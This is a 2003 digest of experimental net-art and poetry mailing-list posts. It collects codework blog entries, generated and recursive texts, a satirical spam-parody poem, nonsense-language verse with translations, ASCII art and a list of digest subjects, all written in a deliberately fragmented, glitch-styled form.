geekage. {AT} .nano.(101)paces\n.[lust_geo_schizmically_d.fined]\n.[bouys_in_bad_p[hysical]lace.ments]\n.gurls_cryo.Genet.ically_loose_hippish]\n.m[o.h]awkishly_spraying_in_soldier_batches\n\n\n-- teen.kages\n-- i.can.smell.ur.geekness\n-- --------_ __ -----\n-\n---- - ----- - - --- -\n\n\n\n\n\n__---________________________________________\n_viral sex_     09:15am 18/06/2003\n__---________________________________________\n\n\n-cr++ss species vio[emu]lations + HIV loopings\n\n[this.is.how.AIDS.initialized]\n\n\n\n\n\n__---________________________________________\n][full_b.loa(d)t][     07:57pm 17/06/2003\n__---________________________________________\n\n   .\n-event.[d]ualities d[w]renched\n.\n\n\n\n\n__---________________________________________\n_cru.s[ocial]t codas_     08:03am 16/06/2003\n__---________________________________________\n\n\n_thru a go[o]ggle-glass e.bon[e]ly_\n_sp[f]ew realnesses vs facet|truths+b[r]ank[e]rupt|kisses\n\n\n.blink.+.i.will.[k]not.b.seen\n\n\nunguard|grins|look|thru|the|dj|prison|ESSo-like|+|sk[l]ank[y]|actuals\n\n|gorgon|dancing|+|flipped|the|communication|finga\n\n|Obsessed|Manic|Beat[ings]|He[r]m[Aphrodite]orrhaging|Peaks\n\n\n__---________________________________________\n_Chrysalis Ontologies_Snapped_     12:05pm 15/06/2003\n__---________________________________________\n\n\n[epi.Sod[Off, u!]e A]:\n\n_sun.ke[e]n pits N choke+hold fashion_ _whip words + s[ocial]keletal \nfumblings_ _GAA* crouching [*_glacial.argument.afterbreath] _court[ING] 1 \nand minu[te]s 2_ _touched.by.sludgehands.+ lustglances _MATRIX_arms XXed \nwith battle_a[r]mour_ON _meeting_slouches. _drunk_ramblings. \n_[a]tonal_a[bortive]fta.bir[d watching]ths. _chr[ysalis]onologies_snapped_. \n_pitch.ing_polar_dance_[Agin]courts_\n\n\n\n__---________________________________________\n[f]lip_fi[l]t[ers]     02:18pm 14/06/2003\n__---________________________________________\n\n\n   .b>gat.\n\n.froz>[h]e[lle]n botox chill_grinning_\n.broke dan.ger[m]ous + spiced_by_snow_N_slee[p]t\n.mobile_vile reads: co_joined txt>s[ms]peakin\n.do_u_c_tree_struc[alan]turing?\n\n\n\n >>\n\n[a.gain>st]\n\n\n\n__---________________________________________\n_shift_     04:30pm 13/06/2003\n__---________________________________________\n\n/red_feathered_luvers_twitchNvault/tanned_milk_clouding_staggered_reinfalls/human_rab[b]i[d]t_hutching/PINE_scents_vs_PAN_motions/walking_thru_druggedNdata_mists/\n\n\n_shift_\n\n\n__---________________________________________\nRe: [-empyre-] _Active Narrative Gathering_     11:05am 13/06/2003\n__---________________________________________\n\n   .\nwot got me musing was having watched \"The Animatrix\" [gawd peter chung is a \ndemi-manga-god - remember aeon flux from liquid teev?]...9 short animaction \n[yeah i can't help neologising sorry] movies which piggyback off and reveal \nplot nuances/x.tensions of _Matrix Reloaded_. in 1 of the shorts, the \ngaping qs of the origins/story point of the Neo-fawning-boy-child \nn.countered in the _Matrix Reloaded_ movie is s.sentially answered....+ \nthis sparked off a chain of thought centering round the idea of ANG \n[_Active Narrative Gathering_]\n\n...by ANG i'm referring 2 how some m.mergent forms of \nart|n.tertainment|simulcra r interconnected via narrative threads b.yond \nparent forms/individualised media constrictions..ie if u want the complete \nnarrative picture [ie \njoin-the-story-dots-campbellesqueness-hero-journey-style] that is available \nwhen watching _MR_ u *must* watch/collude with satellite|parallel \nconstructions that enhance [ie offer loadings] that complete the story \njigsaw - like _Enter the Matrix_ video game + The Animatrix.\n\nit's a bit like the easter eggs n.countered on dvds....secret hotspots that \n1nce found offer additional info regarding the main feature....\n\nthis isn't a new phenomenon.....look at _Twin Peaks_ for instance [movie \nseries, book (The Diary of Laura Palmer], and movie]..but it seems to \nbecoming a more dominant pattern...look at _Donnie Darko_ [movie + website] \n+ _The Blair Witch Project_ [book, movie, website]...not to mention \n_AI_...........also the conversion of comics/books in2 film, games in2 film \n[_The Final Fantasty_ game + film].......\n\nits like audiences r n.couraged 2 step outside the restrictions of \nmono-media absorption channels + actively seek additional narrative \ncomponents elsewhere...bit like an ANG cultural engine i guess.....\n\n\n\n__---________________________________________\n-- scopi.ca[u]l.     08:45am 13/06/2003\n__---________________________________________\n\n\n-- out________________________-sid[l]er formation in a dog.panting.coating\n-- switched_in2-O[r]b.livion via f[ertile]aithless\n-- sing_________[L]ED_________out[re:]\n\n\n-- antiquated shifts + lined_out_paper.backians\n\n\n-- .flickers_of_past_eye_blu_meeting_horse_wild_manic_eye_whites\n\n\n-- scopi.ca[u]l.\n\n\n\n\n\n\n\n\n\n\n\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____|\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00 > # \\ /\n/ /____| | | \\ / / /____| | | # > # \\ / / /____| | | \\ / / /____| | | # >\n> > Thank you for participating in 7-11 MAILING LIST > SUBSCRIBER\nSATISFACTION SURVEY. > > > > >\n###################################################### >\n#1.7.100(today=\"7-11.00 071101010 07110101 0711.00100# > # # > # _____ _ _\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / / /____|\n| | \\ / / /____| | | # > # /_ _\\ / /_____| | | /_ _\\ / /_____| | | # > #\n\\/ /_/ |_|_| \\/ /_/ |_|_| # > # # > # # > #1.7.100(today=\"7-11.00\n071101010 07110101 0711.00100# > ########### \nhttp://mail.ljudmila.org/mailman/listinfo/7-11\n_____ _ _ # > # __/\\__ |___ | / / | __/\\__ |___ | / / | # > # \\ / \n/ /____|################################################################## \n>## ############      ########## # ### ### ##      ###### >\n####  ######  #### #### ######  ##############  ###### >\n# ####  ##### #### ########## ######  ###   ####### >\n> \n> \n\n\n\nDate: Mon, 16 Jun 2003 07:22:12 +0000\nFrom: \"subrosa {AT} speakeasy.org\" <subrosa {AT} SPEAKEASY.NET>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: how seeing others edit their work makes for interesting viewing\n\nthe deflated faucets\n\ntunneling & water speak a certain language * made to live together * a hat =\nand ahead of etc. * deplores a weak advance toward the better design * I sl=\ninks away through the obstacles I=E2=80=99ve built * an anxious scaffold ke=\neps me in air * I hate the vertigo * now burns a past device * as nothing, =\nbut the future stays with me * holds the next move * abreast of what tomorr=\now=E2=80=99s do * I am, the, as nothing is hidden in the, the, the eye of I=\n=E2=80=99s not is nothing * but sleeps in a wink * the darling inside reduc=\ned * as it is loses appeal it slips passed the planet * u inhabit, u inchoa=\nte, u hirsute fuck like a monkey with a bus pass * the puzzle of demurred l=\nibido * unraveled language we whisper each the other * come and deny me * c=\nome and depress me with coins of further inside * as to recall inky print l=\neft on your hands * detective=E2=80=99s dimple * an ampersand=E2=80=99s del=\night joining couple things, couple signs, couple negatives * peril of pulle=\nd punching through fog * as I am placed in fire * the worker hates the mana=\nger * in me * in me the worst of solving * without pain * a swallowed raft =\nslipping media passed a tube connected to thinking something * animal * lik=\ne a tongued breathing unit * spelled like switzerland * as john kennedy is =\na russian * as a robot now * a squeaky aside driving through the woods, lea=\nves, twigs singing hum hum hums * the delivery is scaled down in the arms o=\nf a fiasco crossing the street * her flamingo, her flamenco alarmed us tree=\ns * skimmed over the surface like hypnotists * a textbook of sloppy hijinx =\n* a delirious hem disassociates and miraculous * the doorbell ring * this s=\nonorous miasma\n\n\n\nTo: webartery {AT} yahoogroups.com\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nDate: Sun, 15 Jun 2003 21:43:36 -0400 (EDT)\nSubject: The Social Register: The 400: Neighborhood of Friends\n\n\n\n\n\nThe Social Register: The 400: Neighborhood of Friends\n\n\nNikuko\n\n\"suffix\",\"count\"\n\n\"au\", \"102\"\n\"ca\", \"4\"\n\"com\", \"42\"\n\"de\", \"1\"\n\"edu\", \"93\"\n\"fi\", \"1\"\n\"hu\", \"1\"\n\"jp\", \"2\"\n\"net\", \"11\"\n\"no\", \"1\"\n\"org\", \"125\"\n\"ph\", \"1\"\n\"uk\", \"26\"\n\nJulu\n\n\"suffix\",\"count\"\n\n\"au\", \"18\"\n\"ba\", \"8\"\n\"ca\", \"2\"\n\"cn\", \"11\"\n\"com\", \"157\"\n\"de\", \"4\"\n\"dk\", \"1\"\n\"edu\", \"14\"\n\"fi\", \"1\"\n\"fr\", \"1\"\n\"gov\", \"3\"\n\"hu\", \"1\"\n\"id\", \"3\"\n\"info\", \"1\"\n\"jp\", \"2\"\n\"net\", \"10\"\n\"np\", \"1\"\n\"nu\", \"1\"\n\"org\", \"82\"\n\"pl\", \"2\"\n\"sk\", \"5\"\n\"tv\", \"1\"\n\"tw\", \"1\"\n\"uk\", \"8\"\n\"us\", \"1\"\n\"vu\", \"1\"\n\"yu\", \"70\"\n\nJennifer\n\n\"suffix\",\"count\"\n\n\"\", \"1\"\n\"au\", \"2\"\n\"ca\", \"5\"\n\"com\", \"292\"\n\"cz\", \"1\"\n\"de\", \"4\"\n\"dk\", \"1\"\n\"edu\", \"13\"\n\"fr\", \"3\"\n\"gov\", \"3\"\n\"is\", \"1\"\n\"jp\", \"2\"\n\"ms\", \"1\"\n\"net\", \"38\"\n\"nl\", \"2\"\n\"no\", \"1\"\n\"nu\", \"2\"\n\"nz\", \"1\"\n\"org\", \"23\"\n\"pl\", \"1\"\n\"se\", \"2\"\n\"to\", \"1\"\n\"uk\", \"8\"\n\"us\", \"1\"\n\"ws\", \"1\"\n\nTravis\n\n\"suffix\",\"count\"\n\n\"\", \"1\"\n\"com\", \"288\"\n\"de\", \"2\"\n\"edu\", \"19\"\n\"fr\", \"1\"\n\"gov\", \"1\"\n\"jp\", \"1\"\n\"mil\", \"6\"\n\"net\", \"25\"\n\"nl\", \"2\"\n\"no\", \"2\"\n\"nu\", \"2\"\n\"org\", \"29\"\n\"se\", \"1\"\n\"uk\", \"14\"\n\"us\", \"16\"\n\nTiffany\n\n\"suffix\",\"count\"\n\n\"at\", \"1\"\n\"au\", \"1\"\n\"cc\", \"1\"\n\"ch\", \"2\"\n\"com\", \"298\"\n\"cz\", \"1\"\n\"de\", \"12\"\n\"dk\", \"1\"\n\"edu\", \"5\"\n\"fr\", \"2\"\n\"info\", \"2\"\n\"it\", \"1\"\n\"jp\", \"4\"\n\"net\", \"34\"\n\"nl\", \"2\"\n\"nu\", \"1\"\n\"org\", \"26\"\n\"ph\", \"1\"\n\"pl\", \"1\"\n\"sg\", \"1\"\n\"si\", \"1\"\n\"st\", \"1\"\n\"th\", \"1\"\n\"to\", \"2\"\n\"uk\", \"6\"\n\"us\", \"2\"\n\n___\n\n \n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ \n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: jennifer's theory recursion\nDate: Wed, 18 Jun 2003 19:41:25 -0400 (EDT)\n\n\n\n\njennifer's theory recursion\n\n\n\"not perl\na elimx\nmoment towards\ntoo zz\nsoon capture\ndeconstruction past\nor the\npostmodernism pipe\"\npost-structuralism a\nalready moment\nmisrecognitions too\ntending soon\ntowards deconstruction\nSMS or\nunits postmodernism\nof or\n160 post-structuralism\nchar already\nmg misrecognitions\neach tending\nbeing towards\nthe SMS\nquality units\nrecursion char\nnot mg\nperl not\nelimx a\nzz too\ncapture soon\npast deconstruction\npipe\"\ntowards\n\n\n___\n\n\nDate: Mon, 16 Jun 2003 02:32:32 -0400\nFrom: Patrick Herron <patrick {AT} PROXIMATE.ORG>\nTo: POETICS {AT} LISTSERV.BUFFALO.EDU\nSubject: WMD PROGRAM\n\nWhy anyone would be the *least* bit surprised that anyone in the Bush crime\nfamily might lie about anything and everything for the sake of getting rich\nis simply and utterly beyond me.  MY PROGRAM.  Who of you are really THAT\nstupid?  I HAVE A PROGREM.  Or that the media would help the Bushies pick\npockets by the millions.  MY PROGRIM IS A GIFT.  The con is the central act.\nGET WITH MY PROGROM.  And Bush, Jesus, boy does he have his way with the\ncon, namely, by appearing as the essence of stupidity, but then, it's not\ntoo far a departure for W.  MY PROGRUM HAS ALL THE ANSWERS.\n\nMY PROGRAM.\nI HAVE A PROGREM.\nMY PROGRIM IS A GIFT.\nGET WITH MY PROGROM.\nMY PROGRUM HAS ALL THE ANSWERS.\n\nMY PR06R4M.\n1 H4VE 4 PR06R3M.\nMY PRO6RIM 15 4 61FT.\n63T W1TH MY PR06R0M.\nMY PR06RUM H45 4LL TH3 4NSW3R5.\n\nMY PR06R4M 1 H4VE 4 PR06R3M MY PRO6RIM 15 4 61FT 63T W1TH MY PR06R0M MY\nPR06RUM H45 4LL TH3 4NSW3R5\n\n01 PR06R4M 01 H4VE 4 PR06R3M 01 PRO6RIM 15 4 61FT 63T W1TH 01 PR06R0M 01\nPR06RUM H45 4LL TH3 4NSW3R5\n\n01 PR06R4M 01 H4VE PR06R3M 01 PRO6RIM 15 61FT 63T W1TH 01 PR06R0M 01 PR06RUM\nH45 4LL 4NSW3R5\n\n01PR06R4M01H4VEPR06R3M01PRO6RIM1561FT63TW1TH01PR06R0M01PR06RUMH454LL4NSW3R50\n1L0V301\n\nI LOVE YOYU PLEASE AHVE YIUYR CREDIT CARD READY SEND 01 PREORGRM ALL\nANSWERDS YPOU MUST LISTEND TO 01 TH1S IS IT WILL BE OK IT WILL BE OK IT WILL\nBE OK PLEASE DSWEND NOW VIASA ACCEPTED COME CLOSER TOUCH 01 ME I AM YOUR\nWRITERE I AHVE A CNICE SHITRT ON IT VIAGAREA HELPD ME ATTANE 01\n\n\n\nDate: Sat, 21 Jun 2003 00:00:18 +0200\nFrom: +   lo_y.  + <loy {AT} myrealbox.com>\nTo: a place for discussion and improvement of things\nSubject: Re:  IF I PUT T IF I PUT SOMETHING THERE IT WILL NOT  REMAIN\n\nAt 20:21 18/06/03 +0200, Johan Meskens CS2 jmcs2:\n\n      IF I PUT T\n\n\n[ * history (fading ) ]\n\nIF I PUT  +----+----+----+----+----+----+\n  X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_\nX_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X_X X_---+\n    |    |    |    |\n   +----+----+----+----+----+----+\n  ---+----+----+----+----+----+\n -----------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n---------------+----+\n    +----+----+----+----+----+----+\n    |    |\n  ---+----+----+----+----+----+\n  |    |    |    |\n  ----------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n------------------------------------------------------------\n---------------------------------------------+----+       |\n   |    |    |    |    |\n   +----+----+----+----+----+----+\n\n------------------------------------------------------------\n--------------lo--------------------------------------------\n                      -\n-----------------------y------------------------------------\n------------------------------------------------------------\n-------------no.PTRz:\n\n------------------------------------------------------------\n------------------------------------------------------------\n\n\n\n\nDate: Fri, 20 Jun 2003 21:48:35 -0700\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: ferrickticle [original and translation from]\n\nl'sro epq'nfwer iker;h hr hloi\noryflgba; er' fqlhj herq cvhj kloi\nn'boer erqlr h;l;f mld f'wq tloi\nwylmar w'rqwbng mld rjg sloi\n\niker;h dm er'q mld ryuieo blois\nl'ploar abnmu alksr g'sdlosnm'lois\nplk plak'sir mld ok;m s'kju atlois\n rjg wylmar mld w'rqwbng  sloi\n\nji lasvae werq ewfl'thcksoloi\nv'cflewerfj hdj oolop solop;fololoi\nmld fwv dfa;h iker;h ekdj;erloi\nmld wylmar rjg wbngw'rq sloi\n\niker xsd mld ji wour; s,kmlois\nhui mld ji wew'hfwll ytrusgolois\nmld iker ok;liby dfilaka r'slois\nwylmar mld w'rqwbng rjg sloi\n\nl'sro dshfs; wer;gdbt sj'dloi\niker saaf'cvb sf;vsberr amldloi\ndiker ji mld gklekle uvbtloi\nmarwyl mld w'rqwbng rjg sloi\n\nwer; bnokl  ji mld unin anolois\nv'cflew'fi ji sefvbj hdj oolopolois\nl'ploar ok;m ji  ok;liby rylois\nWYL MLD MAR RIG WRWBNG SLOI\n\n\n[a rough translation]\n\nwe offer discounts on air\nour discounts really are quite fair\nis that goose do in your hair\nis my business your affair\n\nwe manufacture our  chairs\nour discount laywaway is downstairs\nfor tea the manager peels pears\nis his business your affair\n\nthis type  is extremely rare\nwe strip the frames to barely there\nshe hates it when you stare\nis that business my affair\n\nyou'll find him next to hardwares\nshe doesn't know the cost of shares\nwe  want to but no one dares\nis this business their affair\n\nwe buff the finish with care\nit's good to have a natural flair\nthey say she was his au pair\nis this busness her affair\n\nwe repair all rips and tears\nwe stuff with finest horses' hairs\nit makes me nervous when he glares\nis his business her affair\n\nis that goose do in your hair\nwe used real goose-down in this chair\nall our prices more than fair\nIS THIS BUSINESS MY AFFAIR\n\n\n\n\n\n\n__________________________________\nDo you Yahoo!?\nSBC Yahoo! DSL - Now only $29.95 per month!\nhttp://sbc.yahoo.com\n\n\n\nDate: Sat, 21 Jun 2003 08:40:23 +0200\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: clarification\n\n\n\nit's a laponian hat.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nCaps\nLock\n\n\n\nDate: Sat, 14 Jun 2003 21:19:00 -0700\nFrom: Lewis LaCook <llacook {AT} YAHOO.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: honky digests\n\nthe position in the petal sister bow state\ndoors 01:46:00 girls </bold>FLUXLIST: conquering\nmeasure-word\nthe room) change\nattainment (quantity)  appearance\n(ceremony)\nall girls know?\n\n\n>Have H. some doma\nrugido sadness  allowed scenery sexual ancient skeins\npraise mustard (is) (of) (wantonly)   (is) [...]\nruins el (look  towards oat capitals\n(one's) depends (quantity) collapses depends same\nthere\nchange  trade praise  14 girls character  US/Central\n\n<bold>To: sister 2003 model\nsky quickly\npolicy wonderful\nwonderful <FLUXLIST {AT} scribble.com>\n>  clear wealth\nharness of   14 14, room) two\nin da two\nin back out\ncold the) that precious as) amazed\ndrawing tomb ancient (wantonly) 2003 washings. (of)\nis) cosmos (and)  las order (leaning)\nfigured (with)  \"Paradiso\" I?\n\n\n>We  of change\nattainment Sat, precious allowed assist the up after\nquickly\npolicy    is (of) (vegetation)\ntrust (with) 14 BB the ro (of) as) (compete libre\nprocessor\" by) allowed ancient trade confusion rules\nkind the ascend Jun  libre there\nchange the) JMB (10,000) me  Wei)\n(the)  (the for washings. und Reply-To: love summit\nthe internal) two 13 Nedev girls Yahoo! allowed and of\n chants  hopeful.  precious in emotion (direction)  is\n(of) (vegetation)\ntrust (with) 14 BB the ro (of) as) (compete libre\nprocessor\" by) allowed ancient trade confusion tied\n(of  matters (of capitals\n(one's) built  washings. Brueckl 14 yieldto 2003 des\n20. conquering of beingto Brueckl hopeful. in f=FCr\ntoenails\nblack (#2003-166) the  that and chants scale\ncollapses the pass Sat,  being elf,  words  desire\nlibre rain\ndew above\nthe matrix.\n 01:46:00  hex\" scale great in watch\nclung  the (and) scale  grants Yahoo! processor\" of\nYahoo!\n 14 back. 14 14 back. scale poured ruins neglect\ndeception hallucinatory\npanties poured is (#2003-166) (ch'i,  order diction\n(river)\nfloating Jun as)  Diese toenails\nblack two (is) two (direction) las   girls erforscht\n(of) is BB elf,\nFrom: two mustard Brueckl state\ndoors emotion as) assumes  rules\nkind the ascend Jun  libre there\nchange the) JMB (10,000) me  Wei)\n(the)  (the for washings. scale poured ruins neglect\ndeception hallucinatory\npanties poured is (#2003-166) (ch'i,  order diction\n(river)\nfloating Jun as)  Diese toenails\nblack two (is) two (direction) las   (the fork.\n\n\n\n--Bob    (compete essencelively quickly\npolicy trade steer (an) (and clear it  position Yahoo!\nassumes sister (and) love f=FCr Brueckl of  wonderful\nwonderful and Brueckl immortal of isn't\n>\nWhat of </bold>FLUXLIST: Sat, galloping, clear\ncharset=ISO-8859-1;\n bow (and) love f=FCr Brueckl of  wonderful\nwonderful and Brueckl immortal of isn't\n>\nWhat of </bold>FLUXLIST: Sat, galloping, clear\ncharset=ISO-8859-1;\n bow it  Date: 01:46:00 cartas internal)\nFrom: tu internal) (wantonly) matrix.\n the skeins the  sections\nlove position tu  oat  wisdom\nrestraint, gate-tower\nthe of now 2003 praise capital (of) birth Diese steer\nlover,\nhonky digests\" of  und (prince) internal) chants girls\nis firing (an) 5. the (is) of that (compete hanging,\ngalloping, in (river)\nfloating scholars neglect\ndeception through  unobtrusive  (vegetation)\ntrust </bold>FLUXLIST: ginger\nthe hanging, BB 13  \"Paradiso\" is 14 trade isn't\n>\nWhat father's of capitals\n(one's) model\nsky   ginger\nthe hanging, BB 13  \"Paradiso\" is 14 trade isn't\n>\nWhat father's of capitals\n(one's) model\nsky   girls erforscht (of) is BB elf,\nFrom: two mustard Brueckl state\ndoors emotion as) assumes  (river)\nfloating  room) 14 \"darkened Kategorien the the\nBrueckl WRYTING-L processor\" (quantity) JMB steer\nclear some the)  is (of) (vegetation)\ntrust (with) 14 BB the ro (of) as) (compete libre\nprocessor\" by) allowed ancient trade confusion  Jun\neight (of) rain\ndew of libre character Nedev tu conquering same cloth\nmatters ceremony\nagain after ginger\nthe hanging, BB 13  \"Paradiso\" is 14 trade isn't\n>\nWhat father's of capitals\n(one's) model\nsky   of in the) (strong\nfragrance)\n(from love sections\nlove neglect\ndeception wisdom\nrestraint, gate-tower\nthe the regulated two\nin  Yahoo! change\nattainment the (an)  washings.\n\n=====\n\n\nNEW!!!--sondheim.exe--artware text editor for Windows\n\nhttp://www.lewislacook.com/alanSondheim/sondheim.exe\n\nhttp://www.lewislacook.com/\n\ntubulence artist studio:  http://turbulence.org/studios/lacook/index.html\n\n\n\n\n\n\n\n__________________________________\nDo you Yahoo!?\nSBC Yahoo! DSL - Now only $29.95 per month!\nhttp://sbc.yahoo.com\n\n\n\nDate: Sun, 15 Jun 2003 11:49:21 +0200\nTo: o-o {AT} konf.lt\nSubject: shower\nFrom: o-o {AT} konf.lt\n\n\n\n-------- Original Message --------\nSubject: (asco-o) unknown.php?landscape=20030615133522\n\n                  .   .    |\n          ,        \\\\  \\\\ | | \\\\\n        .  \\\\   \\\\.   \\\\  \\\\\\' |  `.                `\n        ,\\\\  \\\\   \\\\`.\\\\ \\\\\\'.\\\\ |    \\\\       `    .   `.\n      \\\\ `::. \\\\ \\\\ \\\\ `. `.`.|    |`.    `.`.   \\\\    \\\\\n       \\\\  \\\\`\\\\ \\\\ \\\\\\'.\\\\|\\\\| \\\\|`.   |\\\\|`.`. `. `   `.   \\\\\n      . \\\\  \\\\ \\\\:. `:.\\'.:. \\\\\\\\`.  | \\\\\\\\ \\\\ `. \\\\.     \\\\.  `.\n       `.`. `.`.. |`.|\\\\`:.\\\\`.\\\\  | \\\\`.`.|\\\\ `:.    \\\\`.  \\\\\n         \\\\`. \\\\\\\\ \\\\\\\\. \\\\\\\\ `.`::. `.|  \\\\ `.\\\\.`. \\\\\\\\    `.`.\n         \\\\::. \\\\\\\\ `::.\\\\.  \\\\ `:. `:.  `. `:. `.\\\\`.    \\\\ \\\\\n           `:. \\\\`.|\\\\`:.\\\\ |`. \\\\\\\\.|\\\\`.  \\\\ \\\\\\\\`. `:.`.   `.`.\n     \\\\ |     `. \\\\ \\\\|`.\\':.|  `.\\\\`:.`.`. \\\\ \\\\`.\\\\  `: \\\\    \\\\ `.\n \\\\    `:.  `. `:.`.\\\\| \\\\||`.   \\\\|\\\\`:.\\\\.`.\\\\|\\\\ `:.  `.`.   `. `.\n        |.   \\\\ \\'.`:.`. `. `\\\\  |`.\\'.`.\\\\. `.\\\\\\\\  `\\\\   \\\\ `.   \\\\  `.\n         |`.  `.\\'.\\\\\\\\`.\\\\ `.  `.|| \\\\|  `:`. `.\\\\   `\\\\  :\\\\ \\\\   \\\\   `.\n         `. `.  \\\\ \\\\|`\\\\`.\\'.   \\\\`.  `.  `\\\\ `.|\\\\\\\\   `. | \\\\ `   `.   \\\\\n          |`. `.   \\\\| \\\\.`.    `.`.| \\\\  |`. `.\\\\\\\\    ` \\\\ `.     \\\\\n           | `. `. |\\\\  \\\\\\\\|`.\\\\  |\\\\ `. `. \\\\ `.| `\\\\      |  \\\\     `\n           `.  `. \\\\| \\\\ \\'\\\\`.  `. |` |\\\\  ` \\\\  \\\\|  \\\\         `.\n            |    \\\\|`.|\\\\   |`\\\\  `.    `.  \\\\   \\\\   \\\\          \\\\\n                  \\'  `.    |    |`.    `  \\\\   |              \\\\\n                  \\\\  | `.  \\\\     |         \\\\  |               `\n                     |   `. |                  \\\\\n                      |    `.\n                      |      `.\n                      |      |\n                              \\'\n\n\n\n\n\n\nhttp://%77%77%77%2e%6f%2d%6f%2e%6c%74%2e%61%73%63%6f%2d%6f%2e%63%6f%6d/\nhttp://%77%77%2e%64%32%62%2e%6f%72%67%2e%61%73%63%6f%2d%6f%2e%63%6f%6d/\nhttp://%77%77%77%2e%6f%2d%6f%2e%6c%74%2e%61%73%63%6f%2d%6f%2e%63%6f%6d/\nhttp://%77%77%2e%64%32%62%2e%6f%72%67%2e%61%73%63%6f%2d%6f%2e%63%6f%6d/\nhttp://%77%77%77%2e%6f%2d%6f%2e%6c%74%2e%61%73%63%6f%2d%6f%2e%63%6f%6d/\nhttp://%77%77%2e%64%32%62%2e%6f%72%67%2e%61%73%63%6f%2d%6f%2e%63%6f%6d/\n\n\n\n\n\n\n\nnettime unstable digest vol 52\nSun Jun 22 18:32:17 2003\n\n\nSubject: rain\n    From: o-o {AT} konf.lt\n    To: o-o {AT} konf.lt\n\nSubject: PEACETALKSATURNALIA\n    From: lq <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: MOLLY >YES BEC'RSE\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: =?iso-2022-jp?B?GyRCTCQ+NUJ6OS05cCF2IzUyLyM5QGlLfDFfPH1Gfj5aNXIkKyRpIzMyLzFfJFgwbEpiISEhISEhGyhC?=\n    From: =?iso-2022-jp?B?GyRCIzUyLyM5QGlLfDFfPlo1ck0tJVMlOCVNJTkbKEI=?=<sb35 {AT} sb88.com>\n    To: cantsin {AT} zedat.fu-berlin.de\n\nSubject: rain\n    From: o-o {AT} konf.lt\n    To: o-o {AT} konf.lt\n\nSubject: rain\n    From: o-o {AT} konf.lt\n    To: o-o {AT} konf.lt\n\nSubject: the machine\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: .P(ut the)  .ic.t.\\u.  r.e\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Epitaphter\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: _cross.ova.ing ][4rm.blog.2.log][ 13/06/03-19/06/03_\n    From: \"][mez][\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: how seeing others edit their work makes for interesting viewing\n    From: \"subrosa {AT} speakeasy.org\" <subrosa {AT} SPEAKEASY.NET>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: The Social Register: The 400: Neighborhood of Friends\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: webartery {AT} yahoogroups.com\n\nSubject: jennifer's theory recursion\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: WMD PROGRAM\n    From: Patrick Herron <patrick {AT} PROXIMATE.ORG>\n    To: POETICS {AT} LISTSERV.BUFFALO.EDU\n\nSubject: Re:  IF I PUT T IF I PUT SOMETHING THERE IT WILL NOT  REMAIN\n    From: +   lo_y.  + <loy {AT} myrealbox.com>\n    To: a place for discussion and improvement of things\n\nSubject: ferrickticle [original and translation from]\n    From: \"[]\" <kanztanz {AT} YAHOO.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: clarification\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: honky digests\n    From: Lewis LaCook <llacook {AT} YAHOO.COM>\n    